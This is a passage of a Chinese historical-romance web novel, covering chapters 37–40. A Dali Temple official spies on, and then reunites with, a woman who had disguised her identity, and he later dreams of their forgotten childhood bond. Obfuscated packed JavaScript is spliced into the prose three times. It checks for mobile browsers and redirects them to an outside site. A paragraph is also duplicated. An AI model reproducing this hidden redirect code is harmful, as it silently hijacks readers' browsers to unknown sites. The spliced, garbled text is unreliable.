苏彦清踏着御街上尚未散尽的韩露下朝归来，步履较之往日格外轻捷。初春的寒气似乎未能侵染他分毫，那张素来沉静的面容上，竟罕见地浮动着几许难以抑制的春风。乌纱帽下的眉眼舒展，唇角微扬，连带着官袍上沾染的朝堂肃杀之气也仿佛被这无形的愉悦冲淡了几分。 甫一踏入大理寺的院落，陈聘便敏锐地捕捉到了上司的不同。他疾步迎上，躬身施礼，眼中带着探询：“大人今日下朝，神色似有不同？” 苏彦清脚步略顿，目光扫过庭院中几株落尽叶子的古木，仿佛要将胸中积压的块垒一并倾吐出来，“严相那老狐狸，为求自保，今日竟自断一臂，亲手将卢知年以‘嫉妒功臣、激生边患’的罪名，罢黜了。”，声音里带着久违的松快。 “卢知年？”陈聘眸光骤亮，随即化为一片了然的笑意，“此人在户部盘踞多年，作恶多端，想不到也有今日！”他顿了顿，脸上喜色更浓，又急忙禀报，“大人，还有一事，吴府那边……似乎有人回来了，动静不大，但据附近的人说确实瞥见了人影。” “吴宅？”苏彦清眉心几不可察地一动，转即朗声道，“备马，待我更衣后，亲自去看看。” 苏彦清与陈聘策马行至吴宅外。只见他们勒紧缰绳，在巷口便将马匹勒停，两人翻身下鞍，动作轻悄。苏彦清目光如炬，迅速扫过周遭寂静的巷弄，随即对陈聘微微颔首，示意其原地待命，自己则悄声地向吴宅靠近。 高大的院墙隔绝了视线，却阻隔不了声音。就在他屏息凝神，欲寻门缝窥探之际，一阵女子的声音如羽毛般拂过耳际断断续续，若有若无。苏彦清目光锐利地扫过四周，迅速锁定墙边的老槐树，只见他轻捷攀上，借着树干与墙头的掩护，居高临下地向庭院内望去。 视线豁然开朗的刹那，苏彦清感觉自己的呼吸骤然停滞。 庭院深处，晚起的春阳吝啬地筛下几缕淡金色的光斑。一架朴拙的秋千悬于老树下，绳索轻曳。其上，一位素衣女子正随秋千悠然荡漾。 她双眼微闭，云鬓轻挽，未施粉黛，一张脸素净如新雪初霁，却又因秋千的微微荡漾而透出自然的红晕。素色的裙裾随秋千起落，在微寒的空气里划开柔和的弧线，宛如一支寂静绽放的素梅。 是她吗？苏彦清自问道。 随着秋千越荡越高，那张柔美的脸上，竟漾开了一抹极其纯粹、近乎童真的笑靥。眉眼弯弯，唇角上扬，脸颊透出自然的红晕，仿佛卸下了千斤重担，挣脱了所有束缚，在这一方小小的天地里，找回了久违的轻盈与欢愉。 然而，就在那笑容绽放至最盛、秋千即将抵达弧顶的瞬间，那双眼睛忽地睁开，飞快地掠过一丝如薄雾般飘渺的忧伤。阳光跳跃在她飞扬的发梢和裙角，那一刻的她，美得惊心动魄，又脆弱得如同琉璃。 每一次秋千高高荡起，每一次素衣身影划破凝滞的空气，一股清冽幽远、沁人心脾的梅香便随之弥散开来。这香气带着春日微露般的凛冽，又蕴含着梅蕊独有的甘甜，丝丝缕缕，如无形的丝线，缠绕着冰冷的空气，也顽固地钻进苏彦清的鼻腔，直抵心扉。 真的是她！ 记忆的闸门轰然洞开。脑海中，羽扇纶巾的武贤弟、带着兔子面具的白衣佳人、面颊上有着紫色“胎记”的茹姑娘……此刻与眼前秋千上这素衣绝色、笑中带泪的身影一一重叠！ 苏彦清僵立在潮湿的树干之上，心脏如同被一只无形的手狠狠攥住，随即又疯狂擂动起来，撞击着胸腔。方才朝堂博弈得胜的畅快早已烟消云散，取而代之的是一种更汹涌、更复杂、几乎要将他吞没的悸动，还有一丝连他自己都未曾察觉的怜惜……无数情绪如同被惊起的寒鸦，在他心中扑棱棱地冲撞翻飞。 突然，庭院中清冽的梅香似乎被一阵窸窣的脚步声搅动，微微散开。吴昭音闻声抬眸，秋千缓缓停下，脸上那抹短暂的轻快已如晨雾消散，恢复了惯有的沉静，甚至带着一丝不易察觉的戒备。 来人正是刘凌风。他一身墨绿劲装，自东墙落下，眉宇间锁着浓得化不开的忧悒，但见到秋千架上的吴昭音，眼中还是努力聚起一丝暖意，抱拳道：“吴姑娘，许久未见，别来无恙啊？” 吴昭音起身，素衣在微寒的风中轻拂。她眉眼微弯，浅笑道：“那还要多谢上次刘兄的搭救。” “他是谁？”望着二人言笑晏晏的模样，苏彦清心底难以察觉地泛起一丝异样。 吴昭音轻叹一声道：“令尊之事，我已听闻，还望刘兄——” 刘凌风身躯微微一震，眼中强撑的暖意瞬间被深重的痛楚与无奈淹没。 吴昭音继续柔声道：“刘将军……身不由己，突厥投诚，实乃时势所迫。” 刘凌风长长叹息一声，“……是。粮尽援绝，猜忌如刀……父亲他，别无选择。” “令尊既已择定，刘兄何以眉间忧色深重？只怕……不止为此事吧？”吴昭音目光如炬，直指要害。 此时，外出的穆管家，终于带着珠儿回到了吴宅巷口。珠儿眼尖，一眼就瞥见了庭院外墙根下，那道熟悉的身影。 “陈大哥，苏大人呢？”珠儿轻声问道。 陈聘伸出食指指了指树上，只见苏彦清还在屏息凝神，瞪直了眼睛瞅着院内。 穆管家正要操着那沙哑的嗓子开口，珠儿立马朝其竖起手指急急抵在唇边：“嘘——！”她眼睛瞪得溜圆，另一只小手还紧张地指了指墙内，然后贴着墙壁听了起来，耳朵几乎要贴到冰冷的墙砖上，却听得并不真切。 穆管家见状，布满风霜的脸上露出一丝了然，也不多问，只是捋了捋胡须，蹑手蹑脚地屏息贴在墙根下。一时间，墙外数人，姿态各异，却都竖着耳朵，努力捕捉着院内飘出的只言片语。 院内的刘凌风神色一凛，忧色更浓，下意识压低了声音：“实不相瞒，是为恩师……杜怀安先生。”提及恩师名讳，他眼中流露出深切的敬仰与焦虑。 “杜先生？”吴昭音眼神微凝。这位颇有名气的中原大儒，其“天下一家”的胸襟抱负，她早有耳闻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763221|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刘凌风语气沉重，“先生志在调和南北，消弭兵祸，活百万生灵于涂炭。他明知朝廷沉疴难起，大厦将倾，仍甘冒奇险北上斡旋，只为争得一线喘息之机，护佑黎民。”他话语中充满敬意，却也难掩忧急，“先生此行，便是设法为南北朝廷签署正式的议和国书！唯此方能暂缚突厥铁蹄，为中原争得时间！” 刘凌风深吸一口气，继续道：“那突厥可汗遣恩师为密使，携亲笔信与突厥初步文书入京城，本欲与圣上陈情利害，索要国书。然那老贼竟全然不顾‘两国交兵，不斩来使’的千古铁律，悍然下令，将恩师的使者一行尽数扣押！如今音讯断绝、生死不明！” 吴昭音听到此处，沉默了片刻，掏出衣襟里的文书呈上，刘凌风满脸疑惑地展信看来，不消片刻便拳头紧握，指节发白：“原来那奸相是做贼心虚！” 苏彦清看到这里，不禁倾着身子，又凑近几寸，眉头紧锁。 吴昭音冷笑道：“他深知一旦双方签署国书，当年他谎报军功、构陷忠良的滔天罪行，必将大白于天下！” 刘凌风目光一凝，向吴昭音抱拳沉声道：“刘某实不知吴姑娘竟也因那贼人身负血仇！他日若需效力，刀山火海——” 刘凌风毕竟是习武之人，墙外虽然竭力压抑，但那几道深浅不一的呼吸声，还是如细针般刺破了他紧绷的神经。 他话音陡然一收，眉峰凌厉地蹙起，锐利的目光射向大门方向：“墙外何人？！” 这一声喝问，如同平地惊雷，瞬间炸得墙外众人慌乱起来。 而此刻，最尴尬的莫过于树上的苏彦清本人了！他原本全神贯注于院内的言语，此刻被惊得身形一晃，差点树上滑了下来，好在他急忙稳住，当他下意识地循声朝墙根下一瞥——这才记起原来墙根下还有陈聘和不知何时冒出来的穆管家和珠儿。 刹那间，一股难以言喻的热气“腾”地涌上他的耳根和脸颊！这位素来以稳重端方、冷静自持著称的大理寺少卿，却在此刻，窘迫至极！他下意识地想收回目光，跃下树来，装作无事发生，可脸上那抹罕见的、因极度羞窘而泛起的红晕，却怎么也掩饰不住。 刘凌风喝问之后，已一个箭步移至门边，警惕地拉开一道门缝，气势凛然地扫视着墙外。当他的视线越过那几个熟悉的身影时，紧绷的神情瞬间化为了错愕，随即是哭笑不得的恍然。 “穆管家……苏……？”刘凌风的声音带着明显的意外和一丝不易察觉的笑意，他彻底拉开了大门，将方才的警惕与凝重抛诸九霄云外。忽而侧身朝着庭院内那个仍静立秋千旁、因这突发状况而投来疑惑目光的素衣女子，朗声道：“吴姑娘，快看是谁来了？”苏彦清闻言，立马悄悄地捋了一下衣襟，却被珠儿尽收眼底。 庭院中的梅香似乎也因这突如其来的转折而微微浮动。吴昭音闻声而出，清冷的目光越过刘凌风的肩头，落在了门外墙头那个素袍身影上，转而惊叹出声道：“苏大人——” 而看到吴昭音换回女子装扮的珠儿也同时惊呼道：“小——姐。” 38. 拨云睹日 吴昭音话音未落，猛地顿住，指尖无意识地捏紧了襦裙上的流苏。此刻近距离看她，雪白的肌肤因泛红而透出初荷般的光泽，一身闺阁常服，就这样毫无遮掩地映在苏彦清的目光之下！ 一股强烈的不安感瞬间攫住了她，她下意识地垂下了眼睫，长长的睫毛在眼下投下一小片不安的阴影。空气仿佛凝固了，只剩下她擂鼓般的心跳声在耳畔轰鸣。 “咳，”一声苍老却温和的轻咳打破了尴尬。穆管家引着珠儿，向苏彦清微微躬身，“苏大人恕罪。老奴……擅作主张了。我见小姐平安归来，心中又挂念珠儿，便私自去了趟苏府探望。这丫头一听说小姐回来了，说什么也要回来……未曾事先禀报大人，还请大人海涵。”见苏彦清微微一笑，又继续道：“她二人并非故意向大人隐瞒女儿身份，实属……” 苏彦清刻意打断道，“老人家消息倒是灵通，这都能寻着。” “小姐……您可回来了！吓死珠儿了！”珠儿早已按捺不住，仰起小脸，搂着吴昭音的胳膊呢喃道，声音里带着哭腔和欣喜，“小姐有没有受伤？有没有哪里疼？都瘦了……”她一边絮絮叨叨，一边用双手急切地上下摸索着吴昭音的手臂、肩膀。见吴昭音一直盯着苏彦清，这才把目光转向苏彦清，吐着舌头怯怯道：“苏大人，对不起。” 刘凌风看着眼前这骤然热闹起来的重逢场景，心中那根紧绷的弦却丝毫未松。他的目光在苏彦清身上短暂停留了一瞬，复杂难言。苏彦清为人清正，甚至在那一夜命令手下助他脱困。然而，时移世易，父亲已迫于形势投诚突厥。朝廷与漠南，大理寺少卿与叛将之子……这其中的沟壑，绝非几句旧情可以填平。 他深吸一口气，压下心头翻涌的焦灼，果断地朝吴昭音和苏彦清各自抱拳一礼，声音低沉而急促：“见姑娘无恙，诸位又得以团聚，刘某便不叨扰了，先行告辞。” 吴昭音正被珠儿缠得有些无措，闻言猛地抬头，眼中闪过一丝忧虑：“刘公子！救人之事，非同小可，需得从长计议！你这般贸然……” “来不及了！”刘凌风打断她，语气斩钉截铁，“刘某心意已决，告辞！”话音未落，他已猛地转身，大步流星地朝门外走去。 苏彦清沉默地看着刘凌风离去，直到那身影消失在巷口的晨光薄雾中，才微微侧首，向陈聘低声音吩咐道：“派两人暗中跟上。非到生死关头，不必现身。”陈聘心领神会，无声地点了点头，悄然退下。 穆管家见院内气氛微妙，拍着大腿道：“哎呀，这初春的天气，看着有日头，骨子里还是寒浸浸的。珠儿，别缠着小姐了，随爷爷去烧些热茶来，给大人和小姐暖暖身子！”说着，不由分说地拉起珠儿快步向后厨的方向走。转瞬间，偌大的庭院里，便只剩下吴昭音与苏彦清两人。 方才因众人聚集而暂时冲散的尴尬，此刻如同退潮后裸露的礁石，更加清晰而尖锐地横亘在两人之间。吴昭音的脸颊依旧发热，目光躲闪着不敢直视苏彦清，为自己猝不及防被撞破的真实身份而羞窘万分，她却不知苏彦清早就深谙于心。两人相对无言，空气仿佛凝滞，只剩下风吹过春枝的细微声响和彼此间清晰可闻的、略显急促的呼吸声。 最终还是苏彦清率先打破沉默，他敛住声息，努力让话音显得如常沉稳：“方才在巷外，听到宅子里有说话声。我…我担心是盗贼，故而…才过来一看。”说完他的目光不经意间扫过吴昭音手上的纸笺，露出的边角隐约可见墨迹。他心慌意乱下贸然开口：“这是何物…不知…可否借在下一观？”话一出口，他便有些后悔，这似乎太过唐突。 吴昭音一怔，握着信的手指下意识地收紧了几分。她抬眸看向苏彦清，眼神中带着一丝了犹豫与慌乱。 苏彦清敏锐地捕捉到了她的为难，那瞬间收紧的手指和眼中闪过的戒备如同一根细小的刺，虽不尖锐，却让他心头微微一滞。他立刻收敛了探究之意，嘴角勉强扯出一个理解的弧度，忙解释道：“是苏某冒昧了——” “许久不见——”吴昭音冷不丁的问候，几乎与苏彦同时出声。 “许久”二字入耳，似根细针一般，轻轻刺了苏彦清一下，未及细想，心底的反问脱口而出：“久吗？” 见吴昭音瞳孔微缩，一时语塞，苏彦清唇角轻扬，那笑意却未达眼底：“武贤弟，你到底……还有多少秘密？”他的目光如有实质，沉甸甸地落在她身上，仿佛要穿透那层刻意维持的平静。 吴昭音心如擂鼓，脑中千回百转，终是抬眸迎上他的视线，声音轻若蚊蚋：“其实……武贤弟也不姓武……” “我知道。”苏彦清语气平静无澜。 “你知晓？”她倏地抬眼。 “吴昭音，前相吴淙言的孙女。” “大人查我？！”方才那一抹羞赧与局促如潮水般褪却，吴昭音语声中满是惊疑。须臾间，她睫羽轻颤，唇边泛起一丝了然的笑意，涩然低语：“也是……大人身为大理寺少卿，洞察秋毫，职责所系，查探……原是应当的。” 苏彦清那双深邃的眼眸微微眯起，眸底带着一丝探究与促狭，“你在怨我？” “民女岂敢。”吴昭音垂首低应，话音虽恭顺，微扬的下颌与紧抿的唇角却分明透着一股难消的薄愠。 苏彦清带着一丝无奈，嗤笑一声，“吴小姐有何不敢？乔装男子，只身赴京报仇，被严相围追。又易容扮丑，在那人际混杂的席春阁与那恶人的细作斡旋，差点命丧……” “你——”话音未落，吴昭音骤然截断苏彦清，她眼睫几不可察地一颤，迎上着苏彦清那仿佛能洞悉一切的目光，缓缓道：“原来大人早就识破了我。那你为何……为何不问我？” “问你什么？”苏彦清一时没反应过来。 “为何……向你隐瞒女子身份。”吴昭音终于问出了心底盘桓许久的疑惑。她无数次预想过身份拆穿后他或许会有的质问与猜疑，却唯独没料到他此刻的平静。 苏彦清微微一怔，随即迎上她清澈而带着审视的目光。他缓缓开口，声音低沉而温和： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763222|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这世道，女子生存已属不易。命运如浮萍，多的是身不由己。换一个身份，多一分安稳，多一分行走于世的便利，这本无可厚非。” 吴昭音的心口猛地一窒，一股难言的酸涩与动容交织翻涌，直冲鼻尖。她慌忙垂下眼帘，掩住眸底的温热。 “不过——”，苏彦清话锋一转，眉峰微蹙，似有不解，“你为何要易容进入席春阁？” 吴昭音默然，转身步入内室。片刻后，她再出来时，双手奉上一支通体温润、雕工精绝的月桂簪：“大人可还记得？” 苏彦清的目光紧紧锁住掌中之物，指尖微颤，声音里裹挟着一丝自己都未曾察觉的喑哑与激颤。他倏然抬首，目光灼灼地看向吴昭音：“竟……真是你！” 吴昭音凝望着远处的朝霞，低声道：“大人既已洞悉一切，民女亦不敢再作隐瞒。那时，我不小心被严相窥得女子身份，他一面不识我身份，要将我强行掳去，一面又要对身为吴家后人的我赶尽杀绝……我如履薄冰，为求自保，只得对这身份苦心掩饰至今……” “那你当时何不告知于我？”苏彦清追问道。 “告诉你又如何？！”吴昭音猛地抬眼，眸光微颤道，“难道……难道要我眼睁睁看着你也步上方大人的后尘？！”她语至最后，唇边牵起一抹无力的苦笑。 苏彦清微微一怔，眼底的讶异掠过一丝不易察觉的温软，随即又蒙上一层薄雾般的涩意。 “那日，我于山寺后墙之外，无意间听得严贼正与寺丞密议方大人之死，更谈及要来宅中搜捕于我……归家途中，我与珠儿正行间，脑后骤遭重击……待我浑浑噩噩醒来，竟已身处相府榻上……” 言至于此，两人目光相触，记忆的闸门瞬间打开……那晚囚室中令人意乱情迷的画面此刻逐渐浮现于脑海——那摄人心魄的迷香，灼热的气息，甜腻的血腥味……所有被刻意压抑的暧昧与悸动如同潮水般汹涌而至。 吴昭音的脸颊又开始泛红，连小巧的耳垂都染上了诱人的绯色，苏彦清也是呼吸一滞，一股热流直冲耳根，他有些不自在地别开视线，喉结上下滚动了一下，刻意正色道：“原来如此。可是方才那位匆匆离去的公子……不知是何来历？” “他是安抚使刘大将军的独子，刘凌风。” 苏彦清作恍然状，故意拖长了语调：“哦——‘茹姑娘’先前是问过这么一桩事。” 吴昭音没好气地睨了他一眼，恰撞上他投来的视线，慌忙移开目光，续道：“那日相府夜逃，出手相助的那位侠客，便是刘公子。” “竟是他。”苏彦清若有所思地颔首。 就在这时，后院方向似乎传来一声轻微的异响，像是瓦片松动的声音。吴昭音神色一凛，立刻警觉起来：“后院好像有动静！我去看看！”不等苏彦清回应，她转身便要走，却忽然顿住脚步，回身道：“此事内情，大人既已尽知，也不差这一封信了。我去去就回。”说完，不由分说便将信塞到苏彦清手上，脚步匆匆地朝后院去了…… 39. 谓之鹣鹣 苏彦清看着她匆匆离去的背影，欲言又止。他走至桌案旁边，坐了下来，展开信笺，凝神细读。目光扫过一行行字迹，眉峰越蹙越紧，指节因用力握拳而微微泛白，手背上青筋隐现。他原以为那奸相不过是个欺压良善、玩弄权术的佞臣，万没料到，此人竟胆大包天至如此地步——不仅欺君罔上，更行那卖国求荣的勾当！ 一股狂暴的冲动直冲头顶，他几欲将手边的书册狠狠掼在地上！他强压下几乎要破腔而出的怒火，重重地吁出一口浊气。 就在这叹气平复的瞬间，他的视线无意间扫过方桌案上的一本颇为陈旧的册子…… 他松开紧握的拳头，带着几分探究和些许未散的戾气，伸手将那册子拿了起来，指腹下意识地摩挲着光滑的封面，终是忍不住翻开，目光落在那些繁复而细腻的花样上，“原来是本绣样。”他自语道，只见上面描绘着各种花鸟虫鱼的传统纹样，线条流畅，栩栩如生。翻到其中一页时，他的手指蓦然顿住。 那书页上竟画着与自己腰间绣囊样式相同的一对鸟儿。苏彦清心中一动：吴昭音腰间似乎也佩着同样纹样的绣囊。那册子图案旁还用娟秀的小字标注着“鹣”字样。 “南方有比翼鸟焉，不比不飞，其名谓之鹣鹣……”他情不自禁地吟诵出古语。原来这就是传说中象征着忠贞不渝、生死相依的鹣鸟！凝望着图样上那对缠绵依偎、比翼双飞的鸟儿，心中涌起一种难以言喻的触动。 恰在此时，珠儿端着两杯刚沏好的热茶，小心翼翼地走了过来。她看到苏彦清正专注地看着那本绣样，目光落在鹣鸟图案上，不由得抿嘴一笑，轻声解释道：“苏大人喜欢这个花样吗？” 苏彦清闻声抬头，状似随意地问道：“这鹣鹣之鸟，寓意深远，倒是别致。” 珠儿将茶盏轻轻放在石桌上，凑近苏彦清，俏皮地悄声道：“是呀！在我们家乡那边有个老说法儿……女子绣了这个，可是要送给心仪之人呢！” 苏彦清闻言，握着画册的手指猛地收紧，心口像是被狠狠撞了一下，但面上仍波澜不惊道：“哦？那你家小姐可有……心仪之人？” 珠儿抱着茶盘连连点头，抿嘴笑道：“不过，是个故人。”说完就蹦蹦跳跳地走开了，独留苏彦清一人怅然。 绣鹣鸟？心仪之人？故人？ 一股不安和酸涩瞬间攫住了他。联想到方才吴昭音对刘凌风那份显而易见的信任与感激，还有刘凌风在她危难时出手相救的“侠义”，再想到她对刘凌风的关切与忧心忡忡的挽留……难道……难道她心仪之人，竟是他？ 他感受到了心底的慌乱，却又不敢去深究这份恐慌和失落背后究竟意味着什么。空气里残留的梅香，此刻竟带上了一丝苦涩的意味。他端起珠儿放下的茶盏，指尖冰凉，杯中氤氲的热气模糊了他眼中翻涌的复杂情绪。 此时，吴昭音踩着满地碎红回到了堂内，裙角沾着后院新鲜的泥痕，几片碎叶狼狈地贴在小腿上。“方才后院的西墙角矮墙塌了半堵。”她伸手理了理被风吹乱的额发，指尖还带着泥土的微凉，“许是前几日连着雨雪，土墙的根基松了。” 苏彦清回过神，放下茶盏，直起身来。目光掠过她裙角的泥点，最终凝在她鬓边那支歪斜欲坠的珠簪上，几缕乌发散落颈侧，“姑娘发簪松了。”苏彦清声音低沉道。 “嗯？”吴昭音抬手去摸，指尖触到松脱的珠簪，窘迫间想自己整理，手腕却被一只温热的手轻轻推开。 “别动。”苏彦清已走到她面前，高大的身影笼罩下来，熟悉的气息包围了她。吴昭音心头莫名一跳，依言垂眸。 他微凉的指尖拂开她颊边散落的发丝，拢起滑脱的青丝。一手稳住发髻，另一手拈起木簪重新寻找位置。就在这一瞬，苏彦清眼前光影流转——那晚溶溶的月光之下，他亦是这般替她簪发，而此时却心跳如鼓……… 指尖下，是她此刻真实的、灼人的温度。苏彦清全身血液上涌，猛地回神！他倏地发现，就在刚才，他竟希望时光永远停留在这个画面之中。也就在这顷刻间，他明白了自己的心意。 这认知带来的并非狂喜，而是莫名的恐慌。因为他心下以为吴昭音已是心有所属。倘若自己内心的这份情愫一旦破土，会不会连此刻这近在咫尺的距离都会变成遥不可及的鸿沟？ “呃！”他如遭火燎般猛地抽手，甚至不敢看着她的眼睛，转而肃声道：“那卢知年现已罢官，本官须速回大理寺处置马三一案……告辞！”话音未落，他已踉跄转身，几乎是夺门而逃。 吴昭音怔在原地，望着苏彦清狼狈逃离的背影，若有所思。 巧的是，偏是这日，花掌柜终于悠悠转醒。据她回忆，在其晕厥之前所见之人确实是卢顺。可惜大理寺贴出告示，那嫌疑犯马三已在狱中畏罪自戕，据说连个收尸的人也没有。席春阁的生意愈发红火，吴昭音 偏巧这日，花掌柜终于悠悠转醒。据她所言，晕厥前所见之人，正是卢顺。可惜那嫌犯马三竟恰在当日畏罪自戕于狱中，据说连尸骨都无人收敛。席春阁的生意愈发红火，而吴昭音依然每日蒙着面，在绣坊的丝帛堆里飞针走线。 只是，那熟悉的身影后来一连多日未现。只有偶尔，她在楼顶整理锦缎或低头拨弄织机时，会下意识望向门外。熙攘人流中，街角檐下，一抹熟悉的官袍衣角，一闪而过。 有时傍晚归家，青石板路上，身后似有目光如影随形，可当她猝然回望，只有空荡街巷与飘零落叶。 日子在忙碌与“错觉”中滑过。吴昭音发现，后院倒塌的矮墙已被悄然修葺一新。新砖整齐坚固，泥瓦匠手艺干净利落。她指尖拂过冰凉的新砖，心绪复杂难言。 大理寺的书房常亮至后半夜。苏彦清时而摩挲着光亮的梅花簪，时而对着案头的卷宗出神。一个夜里，他笔尖饱蘸了浓墨，悬停在半空，迟迟无法落下。鬼使神差地，他抽过一张干净的宣纸铺开。墨色在纸上晕染开，起初是无意识的线条，渐渐勾勒出一个低垂的、专注的侧影轮廓，纤细的手指捏着银针，针尖下是一朵正在绽放的新荷…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763223|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而白日里，他则忙碌于衙门和案发现场，用公务和刻意的疏远包裹自己。然而，一道密令却每日风雨无阻递至陈聘手中：“席春阁那边，仔细些。她若踏夜晚归，务必护其周全。” 这刻意的疏离与暗中的守护，如同一张无形的网，不仅笼罩着他自己，也将吴昭音困在一种难以言喻的、日益加深的失落里。 忽然一日，细雨初歇。吴昭音刚回吴宅，便见刘凌风背着个麻袋默立阶前，满面尘霜，神色凝重。 “吴姑娘，”刘凌风压低声音，急语道，“我救了个人，劳烦你帮我照看几日。” “人在何处？”吴昭音一怔。 刘凌风放下麻袋，掀开一角，浓烈的草药与污浊血腥气扑面而来！吴昭音惊讶地掩住口鼻，探看清袋内情形，心猛地一沉。 只见袋中蜷缩着一个气息奄奄的女子，蓬头垢面，衣衫褴褛，脸上沾满黑泥与暗沉血污。裸露的胳膊布满狰狞交错的青紫淤痕和皮开肉绽的伤口，草草敷着止血药，仍有血水渗出。头发如枯草纠缠，遮住大半张惨白的脸。 “这是……？”吴昭音骇然，继而扫视四周，急急低声道：“快进屋，进去说。” 屋内弥漫着血腥与草药浊气。昏黄的油灯下，吴昭音轻轻地用温水布巾一点点擦去女子脸上污泥，露出惨白瘦削的脸颊，眉头痛苦紧锁，嘴唇无声翕动。吴昭音推灯细看，竟觉眼前女子如此眼熟…… 吴昭音又执起那女子的手腕，三指轻扣寸关尺，凝神细察脉息。片刻后，她眉心微蹙，旋即又俯身细细检视女子身上的伤势痕。那女子用力睁开虚弱的双眼，看了一眼她。 “佟——慧娘——”吴昭音一声惊呼，这才将那女子认了出来。 一旁的刘凌风侧身避让，声音压得很低：“我潜入相府时，恰见她被相府的仆人弃于城外乱葬岗。我见她尚存一丝气息，就……救了她。奈何刘某只通些拳脚……”他喉结滚动了一下，“万般无奈之下，只得……只得冒昧寻来，恳请——” “去拿几副药来——”吴昭音打断了他，旋即伏在书案写下一张处方，递给刘凌风道：“这个时辰，怕是只有城西药铺尚未打烊，还要有劳刘兄跑一趟。”说着便从抽屉里拿出一锭银子。见刘凌风退了半步，吴昭音嗔怪道：“拿着，快去！”刘凌风接过银子，火速消失在夜色里。 与此同时，衙门值房内烛火通明。陈聘垂手肃立，低声向苏彦清禀报。 “什么？！”苏彦清倏地从案后站起，带倒了手边的笔架，狼毫滚落一地。 陈聘俯身拾起地上的狼毫，沉声道：“刘凌风每夜潜守相府附近。今日却见那相府护卫鬼祟出城，他一路尾随至荒僻乱葬岗。那伙人竟将一女子自府中带出，弃于乱岗之上。刘凌风许是见她尚存一息，便趁夜背负至吴宅。” 苏彦清闻言，默默地坐了下来。 “大人，要不要备马？”陈聘将狼毫轻轻搁在桌上。 苏彦清又将桌案上的狼毫轻轻地挂在了笔架上，缓声道：“不必了。” 40. 如梦阑珊 夜色如墨，更深露重。这晚的苏彦清在官署值宿的硬榻上辗转反侧，终被一场光怪陆离的梦境攫住，坠入时光的幽潭。 …… 岭南旧宅的庭院里，蝉鸣聒噪，暑气蒸腾。少年的他与一个眉眼弯弯的小姑娘并排躺在清凉的竹席上小憩。嘴里含着刚从冰鉴里取出的荔枝，果肉晶莹剔透，清甜的汁水溢满唇齿。远处街巷，隐隐传来缠绵悱恻的南箫乡曲，悠悠荡荡，如诉如慕。他们仰着头，目光穿过稀疏的枝叶，望向宅院后方那片丈许高的笛竹。风乍起，修长的竹梢在澄澈的碧空下柔韧地摇曳，细密如缕，宛如碧海之中飘摇的翠色龙须，沙沙作响，编织着无忧的夏日。 …… 狭窄的青石巷陌，马蹄嘚嘚。他坐在即将启程回临安的马车里，惴惴不安。车帘外，那个熟悉的小小身影，正奋力地追赶着！她跑得那样急，小脸涨得通红，额发被汗水黏住，清澈的眼眸里盛满了即将溢出的不舍。眼见马车加速，距离越拉越远，她情急之下，用尽全身力气，将一个精巧的物事猛地抛向车内！他伸手用力接住——是一个温软的绣囊。低头细看，囊面上用五彩丝线精心绣着一对比翼而飞的鹣鸟，羽翼华丽，缠绵相依。然而，其中一只鸟儿的爪部，赫然缺了几针。 …… 厢房内，他流着滚烫的泪水，双手疯狂拍打着紧闭的房门：“放我出去！放我出去！”门外，传来舅父焦灼的哀劝声，声音里充满了痛苦和无奈。 …… 一个喧嚣的午后，他喝得酩酊大醉，只见眼前人影晃动，头痛欲裂的他在马上天旋地转，不一会儿，冰冷的河水瞬间没顶，巨大的水压扼住了呼吸。他没有挣扎，意识在冰冷的黑暗中迅速沉沦、湮灭…… …… “嗬——！”苏彦清猛地从榻上惊坐而起，冷汗瞬间浸透了单薄的中衣，心脏在胸腔里疯狂擂动，几乎要破膛而出。窗外的春阳还未升起，大理寺内万籁俱寂，唯有他粗重的喘息声在空荡的值房里格外清晰。 是梦？还是……被遗忘的碎片？ 他下意识地伸手探向腰间，颤抖着将那个绣囊解下，凑到窗前微弱的月光下，指尖精准地抚过囊面——那只鹣鸟的爪部，果然缺了！那微小的空缺，此刻如同烧红的烙铁，烫得他指尖发麻！ 苏彦卿心底好似有个声音：这——绝非臆想！ 整整一日，苏彦清在大理寺处理堆积如山的卷宗时都心神恍惚。那些梦境的碎片、绣囊的触感、缺失的鸟爪，如同鬼魅般缠绕着他。黄昏的余晖透过高窗，将他的身影拉得斜长而孤寂。 就在此时，苏应中恰好来访。苏彦清支开了下属，一把抓住苏应中的手臂，目光灼灼如炬，将昨夜梦境中关于岭南、荔枝、马车离别、绣囊、禁锢、醉酒……事无巨细、分毫不差地复述出来。每一个场景，每一句话语，都清晰得如同昨日。 “……那个追马车的姑娘，她……她是不是叫……吴昭音？”苏彦清的声音带着自己都未曾察觉的颤抖和一种近乎绝望的笃定。 